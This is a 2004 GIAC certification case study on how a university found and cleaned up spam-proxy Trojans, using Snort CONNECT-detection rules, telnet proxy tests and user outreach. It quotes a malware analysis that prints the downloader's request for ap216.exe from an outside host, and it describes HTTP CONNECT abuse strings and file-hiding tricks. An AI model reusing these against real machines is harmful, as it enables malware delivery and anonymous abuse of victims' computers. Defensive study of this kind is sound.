Global Information Assurance Certification Paper

Case Study: Fighting Spam Proxies in a University Environment

By Kevin T. Shivers

Submitted: 4/2/04
Version: GSEC 1.4b Option 2 – Case Study

Abstract

Spam is a huge annoyance for everyone. Fighting spam is difficult enough, but when spammers team up with hackers to produce ultra-sneaky Trojan horses that turn end-user computers into one stop proxies that allow spammers and hackers to hide their digital tracks, they've gone too far. This case study documents steps that one University has taken to shut down these proxies before they are used for serious evil.

This University used intrusion detection system (IDS) signatures to look for incoming proxy connections which were logged so that the computers involved could be investigated for open proxies. Due to the lack of control over student and other non-University owned machines, this University adopted a user education approach to try to limit the spread of these proxies and the use of IDS as well as restricting network access to discover and mitigate proxies as they turned up.

Background: The University and the University Network

University X is a large public research University with just under 40,000 students. Networking and telecommunication services are provided by IT Group Y. IT Group Y acts as an ISP providing network and telecommunications services to each individual college inside of the University in addition to providing IT services and support to the nearly 12,000 students who live on campus. While we act as an ISP for the students and the colleges on campus, we have limited control of the computers on the network – our ownership ends at the data jack. This presents some challenges when trying to control virus outbreaks or, as in this case, open proxies. The University has a site license for McAfee VirusScan covering every member of the University community (i.e. students, faculty, and staff). The IT Group maintains two servers that always contain the latest virus signature files, and the customized version of VirusScan that we provide is set to automatically download these new signature files on a daily basis. However, it is still up to the end user to install the anti-virus software. In addition, we are also at the mercy of students or departmental IT managers to ensure that their computers are kept current with security updates for their operating systems and applications. I am a member of the IT Group Y's security team.

There are around 30,000 unique University-owned hosts on the campus network. IT Group Y only owns or controls an estimated 1% of these hosts, the rest are the responsibility of departmental IT managers for the various colleges within the University. When school is in session and the dorms are open there

are another 12,000 machines on the network. The University's current network architecture provides nearly every machine with direct open access to the Internet. The University uses router access control lists (ACLs) on its border routers as simple filters to block unwanted ports or hosts from accessing the University network. Included in these ACLs list are a block for the Microsoft NetBIOS ports 135-139 and port 445 from entering or exiting the campus border. We implemented this to limit potential attacks on Windows machines connected to the network and to reduce file sharing with off-campus hosts via NetBIOS shares. In addition, the University also uses a "blackhole" router to null route IP addresses. For on-campus IPs we can restrict IPs to allow IPs to only communicate with on-campus computers, or alternatively, we can block them down to the subnet. For off-campus IPs, we have the option of blocking them from getting past our border routers. The University has no firewalls at the border beyond these ACLs due to both the amount of bandwidth that University X has to the rest of the world, and concerns that firewalls could disrupt research projects at the University. We also realized that firewalls at the borders of our network would have more exceptions than rules due to these numerous and constantly changing research projects at the University. IT Group Y has implemented and actively uses two machines running the Snort IDS at the border of the campus network to monitor intrusions and incidents as they come in or out of the University's network. Internal IDS usage is highly desirable, but, as with firewalls, there currently are no IDS products on the market that can reliably handle the amount of bandwidth and traffic inside of our network.

Background: Spammers and how they send spam

When the Internet was just beginning to become popular among the public, spammers used simple dialup accounts to send spam. As time went on these spammers would have their accounts disabled and they would start again with newly created dialup accounts. As broadband became more widely available and as the possibility of just switching from dialup ISP to dialup ISP became harder and harder for the average spammer (due to ISP consolidation and the ISP becoming wiser to spammers), spammer tactics began to change and become more complex. Instead of sending spam directly from their own computers, spammers began to use open mail relays to "hide" their tracks and create another level of distance between the spammer and their intended target. Many recipients of spam sent this way would complain to the operators of the open relay since it looked like they had sent the spam. Once operators began to understand open mail relays, their potential to be abused, and the need to lock down default mail server settings, the number of open relays began to decrease. The spammers once again responded by changing tactics and began to use open proxies to send spam.

The first widely reported use of open proxies being used for illicit means was in China. When China "went online", access to the Internet was severely restricted, and a large number of sites were blocked from the average Chinese

Internet user. A combination of anti-communist Chinese Internet users and outsiders who wanted to help them introduced China to open proxies. Essentially these were computers all over the world that ran proxies that allowed Chinese citizens to forward their Internet traffic through them, therefore bypassing the Chinese government's restrictive servers. Spammers wised up to this and soon these open proxies were not just helping Chinese freedom fighters learn more about and communicate with the outside world, these proxies were also sending spam. Most of these open proxies did not log what went through them, either because of ideological reasons (i.e. to protect any freedom fighter's IP address who might be using the proxy) or because of lazy administration, essentially leaving no trail back to the spammers. Soon many of these open proxies were shut down due to excessive spam complaints, the excessive amount of bandwidth being used through these proxies by spammers using them to send millions of e-mail messages, or from denial of service (DoS) attacks perpetrated in retaliation by angry spam recipients. So once again, spammers changed their tactics to stay one step ahead of people trying to block spam.

Recently spammers have teamed up with hackers and smart programmers to create different ways for spammers to send their messages out to the world. More enterprising spammers have created fake ISPs and, through the use of customized software, make it appear that behind their computer and high speed internet connection are several more "hops" – or links – between them and a fictitious computer that is sending the spam [1]. In reality there is only one computer, the computer used by the spammer to send spam. The extra hops make it appear that the spammer is actually reselling his bandwidth and running an ISP and that one of their "customers" is the one responsible for the spam. The "customer" is terminated from "the ISP" and then another "computer" that they resell service to begins spamming, thus perpetuating the cycle. Many spam blacklists can block spam from these types of spammers.

The more insidious and less ethical spammers have taken another approach to sending spam – they have started paying people to write viruses and other Malware that install open proxies on victim computers which turn them into a network of proxies, that send spam out to millions of e-mail accounts. This trend first came to light with a variant of the Sobig virus, Sobig.E [2], which in addition to infecting a computer, also installed a backdoor allowing spammers to send mail through the infected computer. This trend has continued, and many recent viruses (e.g. Mydoom, Bagle) and other Malware have installed a backdoor and/or a tool for spammers to send mail through an infected computer. In this case study, the mysterious open proxy program we discovered has not been identified by any anti-virus programs, spyware, or Trojan horse removal tools. The Trojan that we discovered was not a virus since it did not spread to other computers; rather it merely infected a host computer and waited to be abused by spammers.

Background: The Problem

The Fall 2003 semester began like any other for IT Group Y – total panic and madness. In addition to having to handle the network load and technical support questions from 12,000 students who had just moved into their dorms for the school year; IT Group Y, like IT departments all over the world, was busy fighting the Blaster worm, Nachi, and Sobig.F. Two weeks into the semester these infections had died down, but a new problem was surfacing.

Members of IT Group Y who received e-mail sent to our abuse e-mail alias started noticing that the amount of SpamCop complaints coming in about campus hosts was skyrocketing. We usually received a few complaints a month and typically about departmental e-mail servers that had been misconfigured to relaying. These new complaints, however, were coming in by the hundreds, and they were mostly related to student computers and computers located in on-campus computer labs. At first, we were confused since these machines showed nothing out of the ordinary – remote nmap port scans showed no open ports besides the typical ports open on a Windows machine.

Why were we getting these spam complaints? Why was nothing showing up in our remote scans of the system? These computers looked to be fairly normal Windows desktops. What was going on behind the scenes that might enable them to send out millions of spam messages?

During Snapshot: Researching the Problem

These spam complaints continued to pour in and confound us until research lead us to an analysis of an Autoproxy Trojan by LURHQ [3] The analysis notes that:

> "Sometime around the 28th of August 2003, a major webhosting provider's Windows-based hosting systems were compromised and hostile code was inserted into each customer's pages in an IFRAME tag."

This exploit utilized a hole announced in Microsoft's Security Bulletin MS03-011 [4] about a bug in the Microsoft Java Virtual Machine that would allow a malicious webpage to run arbitrary code on a vulnerable computer. However, the malicious code installed on the webhosting company's computers utilizing this exploit merely copied some bookmarks and links to porn sites on infected computers. (see [3]) What happened next was more sinister:

> "These are obvious, low-grade browser hacks, very different from the more sophisticated Trojan being installed via the object tag.

> The object data tag loaded and ran a malicious Visual Basic script downloaded from beech-info2.com in the visitor's browser if they were vulnerable to the MS03-032 vulnerability announced only one week prior.
>
> When this script ran, it extracted from its code a Windows executable file 5120 bytes in size, packed with UPX. This file is a downloader called Autoinit. Its job is to download and install a single program from a URL encrypted inside the code section. In this case, the decrypted content was:
>
> ```
> GET /bin/ap216.exe HTTP/1.1
> Host: smart2com.net
> ```
>
> ap216.exe was downloaded and executed on all the vulnerable hosts. This file is a Trojan called "Autoproxy", which gives an attacker the ability to bounce his/her TCP connections through infected hosts, disguising the true source of the connection. It also gives the hacker the ability to download other files to the victim's computer and execute system commands." [3]

The scariest part about this analysis was the conclusion:

> "This is the largest example of mass-hacking to install Trojans we have seen to date. It is unclear exactly how many people were affected, but it could easily surpass the number infected with Sobig.F. We believe that this method of spreading Trojans will only increase in popularity with the hacking community, since when combined with a mass webserver hack it can leverage far more victims than more well-known propagation routes such as email and p2p networks. **Users can no longer safely believe that since they have a firewall and they don't click on email attachments that they will not be infected with a Trojan. In the case of the users affected by this Trojan, they simply visited a familiar website with a week-out-of-date web browser."** [3] (Emphasis added by the author)

The fact that simply viewing a legitimate web page that had been hacked and modified to exploit the vulnerability discussed in Microsoft Security Bulletin MS03-032 [5] could infect your computer with malicious code is truly frightening. If you can not trust being able to view a familiar website with your web browser without getting infected with some kind of malicious code, what can you trust? What scared us the most was that due to the assortment of who owns what computer within the campus network, the University had no standard patching policy, or none that we could enforce. Student machines were at the mercy of their owners and how good they were at keeping their computer up to date. In

other words, most student computers were the stock, default installations, just waiting to be infected.

Although we noticed many similarities between the Autoproxy in LURHQ's analysis and the problem our machines were having, we also noticed many differences. The infected machines on our network were not connecting to an outside web server to sync themselves and receive commands from the attacker. The infected machines also had no noticeable changes in their Internet Explorer start pages or drop down menu. They were, however, still sending spam at an alarming rate. Although the Autoproxy was not what was infecting our computers, we could draw several conclusions about the attack vector of the malicious code from comparing the Autoproxy analysis with what we were facing. Our preliminary conclusions were:

1. The attack vector of these mysterious proxies was the same. The mysterious proxy we had was getting onto victim computer by the same MS03-032 exploit that Autoproxy was using.
2. The possibility of a worm exploiting some hole in Microsoft's NetBIOS implementation was ruled out since most of these machines were already patched to prevent that, and we blocked the NetBIOS ports at the border of our network.
3. The infected e-mail vector was also ruled out, many of the infected computers had users who connected to our shell server to read mail or utilized web-mail clients.
4. Infection via Peer-to-Peer (P2P) networks was also ruled out since many of the machines had no P2P software installed on it.

At this point we still did not know what the malicious code on the student computers was or how it worked, but at least we had figured out how it was getting onto people's computers. The question remained: Where was this thing hiding and how was it doing what it did? We began to improve at finding infected machines, and we noticed that some of the machines about which we received SpamCop complaints had open high numbered ports. We wondered if perhaps these were rogue mail servers installed by the spammers.

```
[kts@mycomputer kts]$ telnet 192.168.100.177 36921
Trying 192.168.100.177...
Connected to 192.168.100.177.
Escape character is '^]'.
HELO
[Return]
[Return]
[Return]
^]
telnet> quit
Connection closed.
[kts@mycomputer kts]$
```

No luck. What are these high numbered ports and what are they doing? Due to liability issues, we could not experiment with infected student machines, and departmental IT managers were unwilling to leave an infected machine offline for us to analyze – their bosses wanted these infected machines rebuilt and reconnected as soon as possible. While trying to resolve a different security issue on one of the machines that was also sending spam, we noticed some interesting traffic from the computer while we were sniffing traffic to and from that computer. We noticed outside computers (coming mainly from European and Asian countries) connecting to high numbered ports on a machine and sending the following text:

```
CONNECT mail.server.to.spam:25 HTTP/1.1
```

The victim machine would then connect to the specified port on the specified hostname or IP address that the attacker wanted to connect to. The victim computer then proxied all communications from the attacker to the specified IP address. Some quick research turned up that this was a TCP over HTTP proxy, or an HTTP CONNECT proxy [6]. So, the infected computers did not have some sort of open mail relay. Instead, they were proxying the information. We had been looking for the wrong thing the entire time! To add insult to injury, although these proxies were being used to mostly send spam, they were fully open proxies which allowed any kind of TCP traffic to go through them. These proxies were ripe tools for hackers and child pornographers to try and hide their tracks with! It appeared that these proxies did not log any information about the connections (and even if we did we probably would not have been able to legally obtain the logs), and searching through our Netflow logs for connection information would have been the digital equivalent of finding a needle in a haystack. We quickly decided that we would immediately block outside network traffic to and from any computer that was infected with this Trojan proxy.

Resolving the issue: Snort to the Rescue!

We wrote a Snort rule was to monitor our connections to the outside world for anyone trying to connect to these proxies. Our IDS systems quickly slowed to a crawl as the database used to store Snort IDS events swelled to hundreds of thousands of proxy traffic entries. Somehow, when one of these proxies was installed on a victim machine, it was announced to an underground network of spammers who quickly went to work sending as much mail through it as possible before it was shut down. The spammers would often address each piece of spam sent through the proxies to tens or even hundreds of recipients. That meant that for every connection we logged in our IDS, the amount of spam generated from that connection could be multiplied by ten or more.

Our Snort rules to track down these proxies were as follows:

In `local.rules`:

```
alert tcp !$PROXY_SCANNERS any -> !$KNOWN_PROXY !80
(msg:"Possible Proxy CONNECT Request"; \
content: "CONNECT "; content: "HTTP"; dsize:<128;)
```

In `local.conf`:

```
var PROXY_SCANNERS
[192.168.0.0/16,10.10.0.0/16,10.50.50.0/20,10.33.1.4/32,10.
45.100.200/32,10.71.100.100/32,10.15.0.200/32]
var KNOWN_PROXY [192.168.200.10/32,192.168.150.2/32]
```

(Note: IPs in the Snort rules above have been changed to protect the innocent.)

The Snort rule was set to log any traffic that appeared to be HTTP Proxy traffic that wasn't destined to one of the handful of legitimate proxy servers run by the University. Although this Snort rule generated a significant amount of events for us to view, nearly 100% of the alerts generated by Snort was proxy Trojan related traffic. Viewing the logs with Snort's ACID viewer, it was easy to see where the proxies were due to the thousands of alerts generated by each proxy Trojan.

Resolving the issue: Testing for proxies by hand

Now that we knew what we were looking for and had Snort rules in place to catch these proxies, we had to verify that these proxies were real. Through the use of telnet and an HTTP CONNECT string we could manually test these proxies.

```
[kts@machine]/(124): telnet 192.168.196.195 29224
Trying 192.168.196.195...
Connected to 192-168-196-195.student.universityX.edu.
Escape character is '^]'.
CONNECT shell.server.universityX.edu:23 HTTP/1.1[Return]
[Return]


                              * * * WARNING * * *

            ***Acceptable use and unauthorized use
banner***
```

```
To report problems or request assistance call the Help Desk
at XXX-XXX-XXXX

login:^]
telnet> quit
Connection closed.
```

Bingo! We have a valid proxy on our hands. For this test I tried to connect to a shell server that the University runs primarily for students. Since it worked, I now had proof that this machine was running an open proxy and needed to be shut down. It was then time to me to notify the owner of that computer that his computer has been infected!

Resolving the issue: Writing a Perl script to automate proxy testing

With manual testing of these proxies becoming burdensome, our resident Perl guru set out to write a script to try to automate detection of proxies. A few hours later a cgi-bin Perl script was online and ready to help users determine whether or not their computer was infected with a proxy. Users who wanted to test their computer to see if it was infected could go to our website and the Perl script would nmap their system to see what ports were open, and then test each open port to see if any of them were open proxies. This feat was accomplished by connecting to the user's computer at each of the open ports and then trying to connect to a port on one of our servers that printed out some static information if you connected to it. If the static information was sent back to the Perl script through an open port on the user's computer that port was flagged as an open proxy. Users now had an idea about where the open proxy was, and using tools like TCPView [7] or Fport [8] a knowledgeable user could track down the proxy and remove it. If they did not know a lot about computers, the user was encouraged to back up their data, reformat their hard drive, reinstall Windows, install all available Windows Updates, and install a personal firewall product. Eventually we recommended to all users that they back up their data, reformat, and reinstall a Windows on the hard drive to ensure that this proxy Trojan was removed along with any other Malware that might be on the system.

In addition to allowing a user to check their own computer for a proxy, this Perl script allowed the IT Security staff to remotely check computers on the University network for proxies. The IP addresses of the IT Security staff's computers were coded into the script so if a request for the script came from one of the IT Security staff's computers, it would accept an argument of an on-campus IP address to scan. This allowed the IT Security staff to quickly find proxies on computers that we suspected might be infected.

Resolving the issue: Removing the proxy Trojan from infected systems

We had discovered the source of all of the spam complaints and the proxy Trojan that was allowing spam to be sent, the next step was to figure out a solid

way of removing the Trojan on machines that we couldn't reformat and reinstall Windows on. The port used by the proxy Trojan would hop ports, apparently triggered by reboots, but in some cases it looked like the proxy just randomly moved to a new port to make detection of the proxy harder. Working with computers infected with these proxies, I learned that there were two variants of this proxy Trojan. One of the variants utilized Alternate Data Streaming (ADS) to "hide" the Trojan within another file or directory, while the other version hid in plain sight as "C:\aim.exe"

The ADS variant

This variant used an obscure feature of the NTFS file system [9][10] to hide files within other files. The author of this version worked to make removal extremely difficult since the name of the "hidden" file was randomly generated and was "hidden" within c:\windows\system32\svchost.exe or within the c:\windows\system32\ directory itself. Using a tool like TCPView that shows the full command used to open a port on a system allows someone to figure out the name of the "hidden" Trojan. Removing this hidden file was all that was required to remove this Trojan.

The aim.exe variant

The other variants I discovered tried to mask itself as C:\aim.exe. It appears that the author of this version figured the average end user would be too scared to delete a copy of the AOL Instant Messenger (AIM) client and would leave the file there (and sadly this assumption seems to be quite true – I even had some IT managers who were afraid deleting the file would remove the AIM client). This version was much easier to find and remove than the ADS version, however one still had to go through some problem solving with TCPView to ensure that C:\aim.exe was actually opening up the proxy port.

Unfortunately time constraints and other security incidents limited me from attempting to do any forensic analysis on the proxy Trojan. In addition, there was not much to be gained from any forensic analysis that would have benefited the University or myself. We had already figured out what was causing the problem and where it was hiding, it was time to nuke the problem and move on.

Afterwards

Since IT Group Y has limited ownership of the computers connected to the network, we could not force people to lock down their computers. Although we have the policies in place to lock down machines the IT Group owns, when it comes to systems we do not own we can only make recommendations, and it's up to the end users to secure their computer. However, since we do own everything up to the data jack we can "enforce" a policy of preventing and removing these proxies as they pop up by blocking someone's network access.

While that may be seen as a "punishment" it's not, since we merely block Internet activity to and from infected machines to stop anything bad from happening through that computer. Since an infected computer can not communicate with the outside world, spammers can not route spam through it, and hackers can not use it to hide their tracks. This limits the potential for bad, and it also limits the liability for both the University and the owner of the infected computer.

The lack of ownership and control over end user computers made it clear that to eliminate this threat we would have to educate users about this Trojan and how to prevent their computers from falling victim to it. Alerts about the proxy Trojan were sent out through the University's virus notification program, giving end users information about this proxy Trojan, and more importantly, how to prevent it. With the help from members of the helpdesk, a document was written and posted to the helpdesk's website with step-by-step instructions explaining how to find the proxy Trojan on your computer and remove it. When the IDS detected a newly infected computer and I had confirmed that it was indeed infected, I pointed students to this document. The following is the standard e-mail that I wrote and sent to them:

"The computer in your dorm room is ringing all sorts of alarm bells on the campus network's Intrusion Detection Systems. A number of different computers have connected to yours today and then used your computer to send mail to a number of mail servers outside of the University. This is a technique frequently used by less-than-ethical Spam purveyors trying to hide their identities behind yours.

It is extremely probable that a program known as a "Proxy" has been installed on your computer. This could have been a side effect of installing peer-to-peer software or could have happened if your security patches from Microsoft are not up to date and you happened to encounter a website that silently installed this software while you were surfing. In addition to allowing spammers to send spam through your computer, this kind of proxy also enables people to send anything through your computer and make it appear as if you and your computer sent it. This could include things such as child pornography and hacking attempts, things that make people in the law enforcement community very upset.

Regardless of how this program came to be on your system this software poses a serious risk to the University network and could present a liability for both yourself and the University in the event that this proxy is used to commit a crime. As a result, your computer's ability to connect to the Internet has been blocked. However, please note that you can still access any and all sites on campus. (ex: e-mail, the University's web site, online coursework, and anything with a University network address.)

Please contact the Helpdesk at XXX-XXX-XXXX and tell them that you have an unauthorized Proxy on your system. They can assist you with the steps necessary to fix your system. The Helpdesk has created a webpage with information about these proxies and some tips on removing them. This webpage is available at:

```
http://helpdesk.UniversityX.edu/virus/alerts/proxybots.shtml

If the removal instructions contained in the URL above fail, then
unfortunately the best way to remove these proxies is to back up your
data, reformat your hard drive, and reinstall Windows along with all
security fixes and some good Antivirus software with up to date virus
definitions.  While this is unfortunate, this is the only way to ensure
that the proxy is removed from your system.  If you have any questions
please direct them to the Helpdesk."
```

Unfortunately, many students were still unable to follow the instructions and instead found that they needed to re-format their hard drive to remove the proxy Trojan. Manpower constraints and liability issues limited what the IT Group could do to correct a student-owned computer, so for those who the Trojan removal instructions failed, re-formatting was the only way to remove the Trojan. While the thought of having to completely rebuild a machine certainly is unpleasant, most students were actually eager to do this. Being forced to rebuild their computer seemed to have taught these students an important lesson, and most users learned about computer security from this incident and took steps to ensure that their computer would not fall victim to another Trojan. In addition, these infected users began to spread the word to their friends about the problem they had with the Trojan, the pain of cleaning it up, and the ease of preventing it. This word-of-mouth advertising helped our cause and students began to take better care of their computers to ensure that they would not fall victim to this Trojan and have to reformat their hard drives as well.

Thanks to the hard work of the IT Group's security staff and collaboration with the IT Group's helpdesk as well as IT managers of the various colleges within the University, we have eliminated or mitigated every computer on the network that was infected with this Trojan proxy. On the rare occasion when a newly infected machine appears on the network the IDS catches it almost instantly, within minutes I have hand-tested it to confirm that the machine is infected and the owner of that computer is informed of the situation via e-mail. The computer is then "blackholed" and its network access is limited to the campus network, and a ticket is added to our blocked database to monitor the computers that are currently being blocked by us.

Since the Spring 2004 semester began we have seen less than five (5) incidents of theses proxy Trojans on campus machines, a far cry from the several hundred proxies we found at the peak of the outbreak. We are now starting to see what looks like a third variant of this proxy Trojan; however this new variant is the Trojan proxy on steroids. This version, which I have dubbed "65506", always has an open proxy running on port 65506 and this appears to be a hybrid – it appears to be a worm with the proxy Trojan as its payload. In addition to the proxy on port 65505, it opens up two more proxies on ports 63808 and 63809; however these seem to get little use. There are also two ports opened up in the 12000-14000 range, one reporting itself as an FTP server and the other port spitting out gibberish which appears to be a copy of the Trojan/worm payload.

Research into this worm/Trojan is still underway, but with the user education and IDS rules we have implemented we have had less than eight (8) infections of this new worm/Trojan on campus.

Complaints about spam (through SpamCop or individual complaints) have trickled down into almost nothing. This reduction in the number of spam complaints and the number of computers on campus with the proxy Trojan has allowed me to return to focusing on long-term projects to secure the University network, and to handle the interesting and intriguing cases that one can only face on a University network.

References:

[1] The Spamhaus Project. “The Spamhaus Project – ROSKO (Register of Known Spam Operations.” http://www.spamhaus.org/rokso/index.lasso (02/06/04)

[2] Symantec. “Symantec Security Response – W32.Sobig.E@mm.” 07/16/03. http://securityresponse.symantec.com/avcenter/venc/data/w32.sobig.e@mm.html (02/06/04)

[3] LURHQ. “Internet Explorer/Autoproxy Trojan Analysis – LURHQ.” http://www.lurhq.com/autoproxy.html (01/25/04)

[4] Microsoft. “Microsoft Security Bulletin MS03-011.” http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-011.asp (01/25/04)

[5] Microsoft. “Microsoft Security Bulletin MS03-032.” http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp (01/25/04)

[6] Luotonen, Ari. “Tunneling TCP based protocols through Web proxy servers.” 08/98. http://www.web-cache.com/Writings/Internet-Drafts/draft-luotonen-web-proxy-tunneling-01.txt (01/25/04)

[7] Sysinternals.com. “TCPView.” Windows program. Available for download from http://www.sysinternals.com/ntw2k/source/tcpview.shtml (01/25/04)

[8] Foundstone. “Fport.” Windows program. Available for download from http://www.foundstone.com/resources/proddesc/fport.htm (01/25/04)

[9] Scambray, Joel and McClure, Stuart. Hacking Exposed Windows 2000: Network Security Secrets and Solutions. New York: Osborne/McGraw-Hill, 2001. 192-193.

[10] Carvey, H. “The Dark Side of NTFS (Microsoft’s Scarlet Letter).” http://patriot.net/~carvdawg/docs/dark_side.html (01/25/04)

Skoudis, Ed and Zeltser, Lenny. Malware: Fighting Malicious Code. Upper Saddle River: Prentice Hall, 2004.

Manion, Art. “CERT/CC Vulnerability Note VU#150227.” 09/23/03. http://www.kb.cert.org/vuls/id/150227 (01/25/04)

St Sauver, Joe. “The Open Proxy Problem: Should I Worry About Half a Million Trivially Exploitable Hosts?” 08/04/03. http://darkwing.uoregon.edu/~joe/jt-proxies/open-proxy-joint-techs.ppt (01/25/04)

LURHQ. “Adventures of an Open Proxy Server.” http://www.lurhq.com/proxies.html (01/25/04)